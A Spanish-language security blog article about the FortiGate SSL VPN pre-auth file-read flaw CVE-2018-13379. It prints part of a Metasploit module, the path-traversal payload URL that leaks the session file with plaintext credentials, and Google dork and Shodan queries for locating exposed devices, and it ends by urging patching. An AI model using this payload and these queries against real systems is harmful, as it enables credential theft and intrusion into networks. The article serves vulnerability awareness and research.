Artículo · Administración de Servidores

Fortigate VPN: CVE-2018-13379: Pre-auth arbitrary file reading

José MorenoJosé Moreno 3 min de lectura

En el año 2019 se notificaron de vulnerabilidades a los productos de la empresa Fortinet, reportados por los investigadores niph_ y ramoliks los cuales fueron los CVE:

  • CVE-2018-13379: Pre-auth arbitrary file reading

  • CVE-2018-13380: Pre-auth XSS

  • CVE-2018-13381: Pre-auth heap overflow

  • CVE-2018-13382: The magic backdoor

Algunos investigadores lograron combinar CVE-2018-13379 + CVE-2018-13383, lo que les permitía filtrar el archivo de sesión con las credenciales en texto plano para acceder a la red interna. Para obtener una shell después de autenticarse se utilizaba en combinación con un buffer overflow. Si desean evaluar un poco más sobre esta vulnerabilidad pueden ir aqui.

A finales del año pasado nuestro grupo de investigación en Toadsec, observamos APT y sitios de filtraciones ofertando un listado de posibles objetivos vulnerables al CVE-2018-13379

Siguiendo con la investigación encontramos un dork para google que nos permitía entender un poco más sobre la vulnerabilidad arrojando 803 resultados 

inurl:remote/login?lang=

Luego encontramos en exploited-db.com un script para metasploit del autor Carlos Vieira, que pudimos analizar y encontrar el payload de la vulnerabilidad

def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'})

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing binary file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ow crap, try again...")
			end
		end
	end

Dicho payload era el siguiente

remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession

De las evidencias anteriores nuestro grupo de investigadores lograron obtener una consulta en shodan, que nos permite obtener un listado nada despreciable de aproximadamente 296k objetivos posiblemente afectados con dicha vulnerabilidad.

http.html:"remote" "Content-Length: 131"  port:8443,10443

 

Por último realizamos una prueba de concepto en unos de nuestros vps para verificar el cve, como observamos en la imagen el mismo filtraba las credenciales

 

 

Prueba en el vps que configuramos

Recordemos realizar nuestras actualizaciones de seguridad, dado que ya existen herramientas para escanear estas fallas y aún encontramos varios sistemas vulnerables.

 

Referencias

 

¿Quieres aprender estas técnicas en profundidad?

Continúa tu ruta con Penetration Testing Professional.

José Moreno

Escrito por

José Moreno

Purple Team

Jugador de HTB, script kiddie, apasionado por la seguridad informática especialmente red team, Miembro Fundador Asociación Panameña de Peritos en Informática Forense, Purple-Team UTP.

Sigue leyendo